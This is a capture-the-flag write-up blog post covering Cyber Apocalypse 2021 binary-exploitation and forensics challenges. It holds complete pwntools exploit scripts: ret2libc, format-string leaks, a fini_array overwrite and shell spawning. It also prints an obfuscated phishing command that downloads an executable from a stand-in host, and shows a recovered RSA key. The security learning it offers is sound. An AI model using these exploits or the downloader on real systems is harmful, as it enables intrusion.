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{"url":"https:\/\/lo0l.com\/2021\/04\/24\/cyberapocalypse.html","text":"# Cyber Apocalypse 2021\n\n22 April is International Earth Day and guess what\u2026 The Earth was hacked by malicious extraterrestrials. Their ultimate plan is to seize control of our planet. It\u2019s only you who can save us from this terrible fate.\n\n## PWN - Controller\n\n### First things first\n\nThis challenge is a simple x86-64 buffer overflow, which requires some reverse engineering to find a magic number.\n\nThe following protections are enabled:\n\nCANARY : disabled\nFORTIFY : disabled\nNX : ENABLED\nPIE : disabled\nRELRO : FULL\n\n\nBy simply running the program, we can see that it\u2019s a basic calculator that accepts two numbers and runs in a loop. Though we also quickly notice that it only accepts very small numbers.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn]\n\u2514\u2500$.\/controller \ud83d\udc7e Control Room \ud83d\udc7e Insert the amount of 2 different types of recources: 50 10 Choose operation: 1. \u2795 2. \u2796 3. \u274c 4. \u2797 > 3 50 * 10 = 500 Insert the amount of 2 different types of recources: 100 100 Choose operation: 1. \u2795 2. \u2796 3. \u274c 4. \u2797 > 2 We cannot use these many resources at once! Let\u2019s take a look at the disassembly in radare2 The program is calling a welcome function, then the calculator itself. The sym.calculator function then calls the function sym.calc, which does the actual computing. After that it compares the result with a hardcoded \u201cmagic\u201d value and tells us a problem occured. Let\u2019s take a look at it: 0x0040106e e88efeffff call sym.calc 0x00401073 8945fc mov dword [var_4h], eax 0x00401076 817dfc3aff00. cmp dword [var_4h], 0xff3a <-- magic value 0x0040107d 7572 jne 0x4010f1 The result is compared to the value 0xff3a or 65338 in decimal. If the result is equal, scanf is being called. This particular scanf will lead to a buffer overflow. Inside the actual sym.calc function we can see that only values below 0x45 or decimal 65 are accepted. So how do we compute 65338 from that? Easy, there is no lower boundary ;) \ud83d\udc7e Control Room \ud83d\udc7e Insert the amount of 2 different types of recources: -65338 -130676 Choose operation: 1. \u2795 2. \u2796 3. \u274c 4. \u2797 > 2 -65338 - -130676 = 65338 Something odd happened! Do you want to report the problem? > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Problem ingored zsh: segmentation fault .\/controller ### You are leaking! From this point it\u2019s a pretty standard ret2libc attack. The website provided us with both the binary itself and the libc in use, so we can calculate our offsets from there. Since ASLR will most likely be enabled on the target system, we need to leak a libc address first. Generally the leak is done by using functions such as write, printf or puts that are already used in the program. We want to craft a puts() call with an argument that holds the value of an address. The Global Offset Table is an excellent target for that. As per 64-Bit calling convention, the first argument is expected to be inside the RDI Register, so that\u2019s where the GOT address goes. The code to leak the address of puts looks like this: pop_rdi = 0x4011d3 payload = 'A'*40 payload += p64(pop_rdi) payload += p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(0x4006b0) # _start r.sendline(payload) r.recvuntil('\\n') leak = r.recv(6) + '\\x00\\x00' puts = u64(leak) log.info('Leaked puts @ %s' % hex(puts)) setup() r.sendline(payload) ### The Final Battle After the leak we have to return to the start of the program, otherwise it will segfault and crash. Then we basically do the same thing again and overflow the buffer with our final ropchain, which will execute system(\"\/bin\/sh\"). To do this, we need to calculate the offsets to system() & \"\/bin\/sh\" in libc. \u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn] \u2514\u2500$ strings -t x libc.so.6 | grep \/bin\/sh\n1b3e1a \/bin\/sh\n\nlibc_base = puts - libc.symbols['puts']\nsystem = libc_base + libc.symbols['system']\nbin_sh = libc_base + 0x1b3e1a\n\n\nNow with the calculated addresses, the final ropchain can be built. Just like before, we pop the first argument (address of \"\/bin\/sh\") into RDI.\n\nThe 2nd payload will look like this:\n\npayload = 'B'*40\n\n\nAt the time we reached the system() call, the RSI Register was holding some data that led to an error. Since RSI usually holds the 2nd argument to a function call, we want to clear it out and set it to 0, otherwise the call will fail.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn]\n\u2514\u2500$python controller.py [*] '\/home\/kali\/ctf\/cyber-apocalypse\/pwn\/controller' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '\/home\/kali\/ctf\/cyber-apocalypse\/pwn\/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 138.68.182.108 on port 32404: Done [*] Leaked puts @ 0x7f7f96687aa0 [*] Libc puts @ 0x80aa0 [*] Libc base @ 0x7f7f96607000 [*] System @ 0x7f7f96656550 [*] \/bin\/sh @ 0x7f7f967bae1a [*] Switching to interactive mode Problem ingored$ cat flag.txt\nCHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}\n$ Finally, my full exploit looks like this: from pwn import * elf = ELF('.\/controller') libc = ELF('.\/libc.so.6') # setup def setup(): r.recvuntil('recources: ') r.sendline('-65338') r.sendline('-130676') r.recvuntil('> ') r.sendline('2') r.recvuntil('> ') #r = process('.\/controller') r = remote('139.59.185.150',32300) setup() # gadgets pop_rdi = 0x4011d3 pop_rsi_r15 = 0x4011d1 # payload payload = 'A'*40 payload += p64(pop_rdi) payload += p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(0x4006b0) # _start r.sendline(payload) r.recvuntil('\\n') leak = r.recv(6) + '\\x00\\x00' puts = u64(leak) log.info('Leaked puts @ %s' % hex(puts)) log.info('Libc puts @ %s' % hex(libc.symbols['puts'])) libc_base = puts - libc.symbols['puts'] log.info('Libc base @ %s' % hex(libc_base)) system = libc_base + libc.symbols['system'] bin_sh = libc_base + 0x1b3e1a log.info('System @ %s' % hex(system)) log.info('\/bin\/sh @ %s' % hex(bin_sh)) payload = 'B'*40 payload += p64(pop_rsi_r15) payload += p64(0) payload += p64(0) payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(system) setup() r.sendline(payload) r.interactive() \ud83d\ude44 yes i know, it\u2019s still python2 Flag: CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s} ## PWN - Minefield ### Humble Beginnings This challenge was a simple, yet tricky one! Again we have a x86-64 binary with basic protections. CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled Let\u2019s run it and see what the program does \u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn] \u2514\u2500$ .\/minefield\nAre you ready to plant the mine?\n1. No.\n> 2\nWe are ready to proceed then!\nInsert type of mine: what\nInsert location to plant: okay\nWe need to get out of here as soon as possible. Run!\nzsh: segmentation fault .\/minefield\n\n\nIt segfaults immediately, but it doesn\u2019t seem to be a buffer overflow. Running it in gdb we can take a look on what\u2019s going wrong exactly.\n\nThe program segfaults on the following instruction\n\nmov QWORD PTR [rax],rdx\n\n\nAs we can see both RAX & RDX are set to 0 at this point, which explains the segfault because it cannot access the address 0. So what exactly is happening?\n\nIn summary, the mission function reads 2 inputs, converts them to an unsigned long long and loads the results into RAX & RDX. Basically we have a constrained write-what-where primitive.\n\nTaking a look at the r function, which is just a wrapper around read(), we can see it reads 9 bytes. This will be our constraint on what values we will be able to place in the registers.\n\n0x0040092b 48897de8 mov qword [buf], rdi ; arg1\n0x0040092f 64488b042528. mov rax, qword fs:[0x28]\n0x00400938 488945f8 mov qword [canary], rax\n0x0040093c 31c0 xor eax, eax\n0x0040093e 488b45e8 mov rax, qword [buf]\n0x00400942 ba09000000 mov edx, 9 ; size_t nbyte\n0x00400947 4889c6 mov rsi, rax ; void *buf\n0x0040094a bf00000000 mov edi, 0 ; int fildes\n0x0040094f e80cfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)\n\n\nThis means the biggest value we can use is 999999999 or 0x3b9ac9ff.\n\n### I have no idea what I\u2019m doing\n\nThere isn\u2019t much we can do with a single write unless we have some kind of win() function, so I took another look at the program.\n\nAnd suprisingly there was one!\n\nThis particular function will simply execute system(\"cat flag*\") and thus should print the flag to us.\n\nAt first my idea was to overwrite a GOT entry with this function\u2019s address, but the problem was that no other function was called after our write had taken place.\n\ngdb-peda$vmmap Start End Perm Name 0x00400000 0x00402000 r-xp \/home\/kali\/ctf\/cyber-apocalypse\/minefield 0x00601000 0x00602000 rw-p \/home\/kali\/ctf\/cyber-apocalypse\/minefield 0x00007ffff7ded000 0x00007ffff7e12000 r--p \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so 0x00007ffff7e12000 0x00007ffff7f5d000 r-xp \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so 0x00007ffff7f5d000 0x00007ffff7fa7000 r--p \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so 0x00007ffff7fa7000 0x00007ffff7fa8000 ---p \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so 0x00007ffff7fa8000 0x00007ffff7fab000 r--p \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so 0x00007ffff7fab000 0x00007ffff7fae000 rw-p \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so 0x00007ffff7fae000 0x00007ffff7fb4000 rw-p mapped 0x00007ffff7fcc000 0x00007ffff7fd0000 r--p [vvar] 0x00007ffff7fd0000 0x00007ffff7fd2000 r-xp [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 r--p \/usr\/lib\/x86_64-linux-gnu\/ld-2.31.so 0x00007ffff7fd3000 0x00007ffff7ff3000 r-xp \/usr\/lib\/x86_64-linux-gnu\/ld-2.31.so 0x00007ffff7ff3000 0x00007ffff7ffb000 r--p \/usr\/lib\/x86_64-linux-gnu\/ld-2.31.so 0x00007ffff7ffc000 0x00007ffff7ffd000 r--p \/usr\/lib\/x86_64-linux-gnu\/ld-2.31.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p \/usr\/lib\/x86_64-linux-gnu\/ld-2.31.so 0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] So we are looking for an address in the range 0x00601000-0x00602000 that is being triggered after our write took place, ideally some kind of exit hook. Specifically I used a technique that overwrites a .DTORS entry, which is referenced after the main address returns. A similar paper can be found here. \u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn\/challenge] \u2514\u2500$ objdump -M intel -D minefield | grep fini\n400c43: 48 8d 2d 2e 04 20 00 lea rbp,[rip+0x20042e] # 601078 <__do_global_dtors_aux_fini_array_entry>\n0000000000400ca0 <__libc_csu_fini>:\nDisassembly of section .fini:\n0000000000400ca4 <_fini>:\nDisassembly of section .fini_array:\n0000000000601078 <__do_global_dtors_aux_fini_array_entry>:\n\n\nNow we want to overwrite the address 0x601078 with the value of our win() function 0x0040096b.\n\n### Mission accomplished!\n\nThe last thing left to do is convert these values to decimal and input them!\n\nAre you ready to plant the mine?\n1. No.\n> 2\nWe are ready to proceed then!\nInsert type of mine: 6295672\nInsert location to plant: 4196715\nWe need to get out of here as soon as possible. Run!\n\nMission accomplished! \u2714\nCHTB{d3struct0r5_m1n3f13ld}\n\n\nFlag: CHTB{d3struct0r5_m1n3f13ld}\n\n## PWN - System dROP\n\n### How I didn\u2019t solve it\n\nAgain this challenge is a x86-64 buffer overflow challenge. The crash is pretty straightforward and as the name already suggests we are supposed to use SROP. In 2019 I created a challenge about this exact technique, which you can find here.\n\nBut since we didn\u2019t have a huge buffer to work with and ran into some problems, I decided to use the good ol ret2libc. You won\u2019t be able to use that on my challenge though ;)\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn\/system_dROP]\n\u2514\u2500$.\/system_drop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA zsh: segmentation fault .\/system_drop ### The Game Plan As discussed earlier in the Controller challenge, we can use functions such as write, printf or puts to leak an address. Let\u2019s see what we can work with in this challenge. [0x00400450]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables [0x00400450]> afl 0x00400450 1 42 entry0 0x00400490 4 42 -> 37 sym.deregister_tm_clones 0x004004c0 4 58 -> 55 sym.register_tm_clones 0x00400500 3 34 -> 29 sym.__do_global_dtors_aux 0x00400530 1 7 entry.init0 0x004005e0 1 2 sym.__libc_csu_fini 0x004005e4 1 9 sym._fini 0x00400570 4 101 sym.__libc_csu_init 0x00400480 1 2 sym._dl_relocate_static_pie 0x00400541 1 47 main 0x00400430 1 6 sym.imp.alarm 0x00400440 1 6 sym.imp.read 0x00400537 1 7 sym._syscall 0x00400400 3 23 sym._init [0x00400450]> Looks like we don\u2019t have any of those functions that we could use. But instead there is something much more useful! A syscall;ret gadget. 0x0040053b 0f05 syscall 0x0040053d c3 ret Combined with the read() function we can use this to basically run any syscall we want, depending on the amount of bytes we are able to read. Naturally read() stores the amount of bytes it was able to read in the RAX register, which just happens to be where syscall expects the syscall number to be. For example if wanted to prepare an execve() syscall, we would return to read(), then read 59 or 0x3b bytes and return to our syscall gadget afterwards. ### Dead End At first I tried to set up an execve(\"\/bin\/sh\") syscall in the way I just explained. I managed to place \"\/bin\/sh\" in a predictable location and set up the syscall but in the end it failed, because there was no way for me to clear out certain registers. You can see what it looks like in the following screenshot. I believe it failed because RDX was set to 0x100 which isn\u2019t a valid address. The execve() syscall expects a pointer to the evironment variables in RDX, const char *const envp[]. You can look at the syscalls and registers here. So I decided to move on and try a different approach. (If anyone managed to solve it this way, please do share your solution!) ### The ol\u2019 reliable After these failures, I thought to myself \u201cWhy can\u2019t I just use ret2libc?\u201d. There was no reason that I couldn\u2019t, so that\u2019s exactly what I did! As we learned, we can basically perform any syscall we like (with some constraints), so I simply used a write syscall to leak some libc addresses. This time we didn\u2019t receive the libc binary, but we can still figure out the version of libc with the help of libc database. The first payload to perform the leak looks like this buf = 'A'*40 buf += p64(read) # to set up rax buf += p64(pop_rdi) buf += p64(1) # stdout buf += p64(pop_rsi_r15) buf += p64(elf.got['alarm']) buf += p64(0) buf += p64(syscall_ret) buf += p64(_start) First it returns to read(), which will result in the program waiting for our input. So we send exactly 1 byte, which will cause RAX to be set to 1. Thanks to my teammate I later realized that this step wasn\u2019t necessary since for some weird reason, the eax register is being set to 1 right after the read anyway. 0x00400564 e8d7feffff call sym.imp.read 0x00400569 b801000000 mov eax, 1 0x0040056e c9 leave 0x0040056f c3 ret But I kept it in because it\u2019s a neat technique in my opinion \ud83d\ude04 This time i leaked the addresses of alarm & read, then looked up the libc version here. From there on, the exploit is pretty much the same as in the controller challenge. The full exploit looks like this: from pwn import * elf = ELF('.\/system_drop') r = remote('138.68.185.219',32689) # gadgets syscall_ret = 0x40053b read = 0x400440 pop_rdi = 0x4005d3 pop_rsi_r15 = 0x4005d1 _start = 0x400450 buf = 'A'*40 buf += p64(read) buf += p64(pop_rdi) buf += p64(1) # stdout buf += p64(pop_rsi_r15) buf += p64(elf.got['alarm']) buf += p64(0) buf += p64(syscall_ret) buf += p64(_start) r.send(buf) r.send('A') # send 1 byte for write syscall leak = u64(r.recv(8)) log.info('Leaked alarm: %s' % hex(leak)) system = leak - 0x950c0 bin_sh = leak + 0xcf80a log.info('Libc system @ %s' % hex(system)) log.info('Libc bin_sh @ %s' % hex(bin_sh)) r.recv() # new buf buf = 'B'*40 buf += p64(pop_rdi) buf += p64(bin_sh) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(system) r.send(buf) r.interactive() Flag: CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p} ## PWN - Harvester Again we have a x86-64 binary, but with PIE and stack canaries enabled. The goal is to bypass these protections, and from there is the same procedure as the other 2 challenges. ### The vulnerabilities This time the leak is made easy in the form of a format string vulnerability. \u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn\/challenge] \u2514\u2500$ .\/harvester\n\nA wild Harvester appeared \ud83d\udc26\n\nOptions:\n\n[1] Fight \ud83d\udc4a [2] Inventory \ud83c\udf92\n[3] Stare \ud83d\udc40 [4] Run \ud83c\udfc3\n> 1\n\nChoose weapon:\n\n[1] \ud83d\udde1 [2] \ud83d\udca3\n[3] \ud83c\udff9 [4] \ud83d\udd2b\n> %3$p Your choice is: 0x7fbce12f3c0a You are not strong enough to fight yet. The buffer overflow can be triggered in a similar way to the calculator challenge. The stare function checks the number of pies we have and if it\u2019s equal to 22 \u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn\/challenge] \u2514\u2500$ .\/harvester\n\nA wild Harvester appeared \ud83d\udc26\n\nOptions:\n\n[1] Fight \ud83d\udc4a [2] Inventory \ud83c\udf92\n[3] Stare \ud83d\udc40 [4] Run \ud83c\udfc3\n> 2\n\nYou have: 10 \ud83e\udd67\n\nDo you want to drop some? (y\/n)\n> y\n\nHow many do you want to drop?\n> -11\n\nYou have: 21 \ud83e\udd67\n\nOptions:\n\n[1] Fight \ud83d\udc4a [2] Inventory \ud83c\udf92\n[3] Stare \ud83d\udc40 [4] Run \ud83c\udfc3\n> 3\n\nYou try to find its weakness, but it seems invincible..\nLooking around, you see something inside a bush.\n[+] You found 1 \ud83e\udd67!\n\nYou also notice that if the Harvester eats too many pies, it falls asleep.\nDo you want to feed it?\n> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\nThis did not work as planned..\n*** stack smashing detected ***: terminated\nzsh: abort .\/harvester\n\n\n### Feeding the harvester\n\nSince we are abusing the format string to leak an address, we can only leak data from the stack instead of supplying our own address. That means we can\u2019t easily leak GOT entrys.\n\nWhat we can do, is set a breakpoint before the printf() call and search the stack for any libc related address. Additionally we need to leak a program address to calculate the pie base address.\n\nI leaked the 13th stack value to calculate the pie base and the 21st value to calculate libc base.\n\nThe 13th value will always be the same and the offset should stay the same accross different systems.\n\nIt points to <harvest+119> and will something like this: 0x0000555555400eca\n\nAll we have to do is subtract 0xeca and we have the base address.\n\nThe 21st value points to <__libc_start_main+234> and will change depending on your libc version. For example I needed to subtract 234 on my local libc version, but only 231 on the libc version used on the target. Then we should have the address of __libc_start_main which we can use to calculate the libc base.\n\nWe must not forget to leak the canary value aswell, which can be found at the 11th stack value.\n\nThe libc was provided with the challenge, so the leaks and offsets will look like this:\n\ncanary = leak(11)\nlog.info('Leaked canary: %s' % hex(canary))\npie = leak(13) - 0xeca\nlog.info('Leaked pie base: %s' % hex(pie))\nlibc = leak(21) - 231\nlog.info('Leaked __libc_start_main: %s' % hex(libc))\nlibc_base = libc - 0x21b10\nlog.info('Libc base @ %s' % hex(libc_base))\n\nsystem = libc + 0x2da40\nbin_sh = libc + 0x19230a\npop_rdi = pie + 0x1063\npop_rsi_r15 = pie + 0x1061\n\n\n### Killing the harvester\n\nInstead of setting up a system(\"\/bin\/sh\") call I used a one_gadget, because I ran into some problems with the buffer size. Luckily there were a few available one_gadgets in the provided libc version, and one of them worked!\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/pwn]\n\u2514\u2500$one_gadget libc.so.6 0x4f3d5 execve(\"\/bin\/sh\", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve(\"\/bin\/sh\", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve(\"\/bin\/sh\", rsp+0x70, environ) constraints: [rsp+0x70] == NULL My final exploit for the harvester challenge looks like this: from pwn import * #r = process('.\/harvester') r = remote('188.166.172.13',31444) # leak canary def leak(num): r.recvuntil('> ') r.sendline('1') r.recvuntil('> ') r.sendline('%'+str(num)+'$p')\nleak = int(r.recvuntil('\\x1b')[:-1],16)\nreturn leak\n\n# leak pie base\n\ncanary = leak(11)\nlog.info('Leaked canary: %s' % hex(canary))\npie = leak(13) - 0xeca\nlog.info('Leaked pie base: %s' % hex(pie))\nlibc = leak(21) - 231\n#libc = leak(21) - 234 # local\nlog.info('Leaked __libc_start_main: %s' % hex(libc))\nlibc_base = libc - 0x21b10\n#libc_base = libc - 0x26c20 # local\nlog.info('Libc base @ %s' % hex(libc_base))\n\nsystem = libc + 0x2da40\nbin_sh = libc + 0x19230a\npop_rdi = pie + 0x1063\npop_rsi_r15 = pie + 0x1061\n#one_gadget = libc_base + 0xcbd20 # local\n\n# bof\n\nr.recvuntil('> ')\nr.sendline('2')\nr.recvuntil('> ')\nr.sendline('y')\nr.recvuntil('> ')\nr.sendline('-11')\nr.recvuntil('> ')\nr.sendline('3')\nr.recvuntil('> ')\n\nr.interactive()\n\n\nFlag: CHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry}\n\n## Forensics - Alien Phish\n\n### The PowerPoint Way\n\nWe are provided with a Powerpoint file. Opening it in PowerPoint we can see 1 slides, which tells us to ignore the security warning and enable the execution of external programs.\n\nIt\u2019s possible to look at the command by selecting the slide and clicking \u201cactions\u201d as seen in the following screenshot.\n\nThe whole command is:\n\ncmd.exe \/V:ON\/C\"set yM=\"o$eliftuo- exe.x\/neila.htraeyortsed\/:ptth rwi ;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q' + pmet:vne$ = o$\" c- llehsrewop&&for \/L %X in (122;-1;0)do set kCX=!kCX!!yM:~%X,1!&&if %X leq 0 call %kCX:*kCX!=%\" I noticed it\u2019s using a reversed string, which does some powershell stuff. The powershell part reversed looks like this: powershell -c \"$o = $env:temp + 'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:\/destroyearth.alien\/x.exe -outfile$o\"\n\n\nSo essentially the \u201cphish\u201d is downloading and external program to the temp directory and probably trying to execute it. In this case it\u2019s an invalid domain so it doesn\u2019t actually download anything.\n\nThe filename looks like it\u2019s base64 encoded so let\u2019s try to decode it! From the underscore character I realized it\u2019s base64 url encoded:\n\nDecoding it reveals the flag: CHTB{pH1sHiNg_w0_m4cr0s???}\n\n### The unzip way\n\nAnother way of solving this would be by statically analyzing the file. A PowerPoint file is nothing else than a fancy zip file, so let\u2019s unzip it and look at the contents.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/forensics]\n\u2514\u2500$unzip Alien\\ Weaknesses.pptx -d AlienPhish Archive: Alien Weaknesses.pptx inflating: AlienPhish\/[Content_Types].xml inflating: AlienPhish\/_rels\/.rels inflating: AlienPhish\/ppt\/slides\/_rels\/slide1.xml.rels inflating: AlienPhish\/ppt\/_rels\/presentation.xml.rels inflating: AlienPhish\/ppt\/presentation.xml inflating: AlienPhish\/ppt\/slides\/slide1.xml inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout5.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout8.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout10.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout11.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout9.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout6.xml.rels inflating: AlienPhish\/ppt\/slideMasters\/_rels\/slideMaster1.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout1.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout2.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout3.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout7.xml.rels inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout11.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout10.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout3.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout2.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout1.xml inflating: AlienPhish\/ppt\/slideMasters\/slideMaster1.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout4.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout5.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout6.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout7.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout8.xml inflating: AlienPhish\/ppt\/slideLayouts\/slideLayout9.xml inflating: AlienPhish\/ppt\/slideLayouts\/_rels\/slideLayout4.xml.rels inflating: AlienPhish\/ppt\/theme\/theme1.xml extracting: AlienPhish\/ppt\/media\/image1.png extracting: AlienPhish\/ppt\/media\/image2.png extracting: AlienPhish\/docProps\/thumbnail.jpeg inflating: AlienPhish\/ppt\/presProps.xml inflating: AlienPhish\/ppt\/tableStyles.xml inflating: AlienPhish\/ppt\/viewProps.xml inflating: AlienPhish\/docProps\/app.xml inflating: AlienPhish\/docProps\/core.xml The external program cmd is located in the ppt\/slides\/_rels\/slide1.xml.rels file: <?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <Relationships xmlns=\"http:\/\/schemas.openxmlformats.org\/package\/2006\/relationships\"> <Relationship Id=\"rId3\" Type=\"http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/relationships\/image\" Target=\"..\/media\/image1.png\"\/> <Relationship Id=\"rId2\" Type=\"http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/relationships\/hyperlink\" Target=\"cmd.exe%20\/V:ON\/C%22set%20yM=%22o$%20eliftuo-%20exe.x\/neila.htraeyortsed\/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&&for%20\/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&&if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22\" TargetMode=\"External\"\/>\n<Relationship Id=\"rId1\" Type=\"http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/relationships\/slideLayout\" Target=\"..\/slideLayouts\/slideLayout1.xml\"\/>\n<Relationship Id=\"rId5\" Type=\"http:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/relationships\/image\" Target=\"..\/media\/image2.png\"\/>\n<\/Relationships>\n\n\nFrom here we simply have to html & url-decode the cmd, and analyze it the same way we have done before.\n\n## Forensics - Low Energy Crypto\n\nThe challenge provides us with a pcap file with captured bluetooth transmissions.\n\nWithout much knowledge about the protocols used I noticed one particular thing that was transmitted in plaintext, a RSA public key.\n\nIt\u2019s possible to extract the public key directly through wireshark by selecting the L2CAP fragment, rightclicking and hitting export.\n\nWe do this for each fragment and concatenate the data until we get the full public key.\n\n-----BEGIN PUBLIC KEY-----\nB9fjj4tlGekPOW+f8JGzgYJRWboekcnZfiQrLRhA3REn1lUKkRAnUqAkCEQDL\/3Li\n4l+RI2g0FqJvf3ff\n-----END PUBLIC KEY-----\n\n\nNaturally we try to attack this public key and throw it at the tool RsaCtfTool, which will be able to recover the RSA private key!\n\n-----BEGIN RSA PRIVATE KEY-----\nMIIBSAIBAAJBAKKPHxnmkWVC4fje7KMbWZf07zR10D0mB9fjj4tlGkPOW+f8JGzg\nYJRWboekcnZfiQrLRhA3REn1lUKkRAnUqAkCEQDL\/3Li4l+RI2g0FqJvf3ffAkBY\nf1ugn3b6H1bdtLy+J6LCgPH+K1E0clPrprjPjFO1pPUkxafxs8OysMDdT5VBx7dZ\nRSLx7cCfTVWRTKSjwYKPAiEAy\/9y4uJfkSNoNBaib393y3GZu+QkufE43A3BMLPC\nNbcCIQDL\/3Li4l+RI2g0FqJvf3fLcZm75CS58TjcDcEws8IQPwIgOPH5FJgQJVqt\np4YbY7+\/yIp7p2fUakxUZS5op5whICsCICV6ZBfopz4GRE41SnXnOlBoO+WcFt1k\nzxKFQDbsdw7HAiEAl75cvn4PGBPnzNuQy0356OtfwK\/Q6QFWdxAaWm6ncSM=\n-----END RSA PRIVATE KEY-----\n\n\nBut now what? What do we decrypt with this key? I took another look at the traffic and saw that after the public key was transmitted there was another transmission of L2CAP fragments. They didn\u2019t have any plaintext so I just assumed it was the encrypted traffic.\n\nAgain I exported the data, removed the null bytes and decrypted it with openssl.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/forensics\/low_energy_crypto]\n\u2514\u2500$xxd encrypted.bin 00000000: 3929 69b0 18ff a093 b9ab 5e45 ba86 b4aa 9)i.......^E.... 00000010: 070e 78b8 39ab f113 77e7 8362 6d7f 9c40 ..x.9...w..bm..@ 00000020: 9139 2aef 8e13 ae9a 2284 4288 e2d2 7f63 .9*.....\".B....c 00000030: d2eb d0fb 9087 1016 fde8 7077 d50a e538 ..........pw...8 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 00 ..... \u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/forensics\/low_energy_crypto] \u2514\u2500$ tr < encrypted.bin -d '\\000' > new_encrypted.bin\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/forensics\/low_energy_crypto]\n\u2514\u2500$openssl rsautl -decrypt -in new_encrypted.bin -out flag.txt -inkey id_rsa \u250c\u2500\u2500(kali\u327fkali)-[~\/ctf\/cyber-apocalypse\/forensics\/low_energy_crypto] \u2514\u2500$ cat flag.txt\nCHTB{5p34k_fr13nd_4nd_3n73r}\n\n\nFlag: CHTB{5p34k_fr13nd_4nd_3n73r}","date":"2023-04-02 06:32:21","metadata":"{\"extraction_info\": {\"found_math\": true, 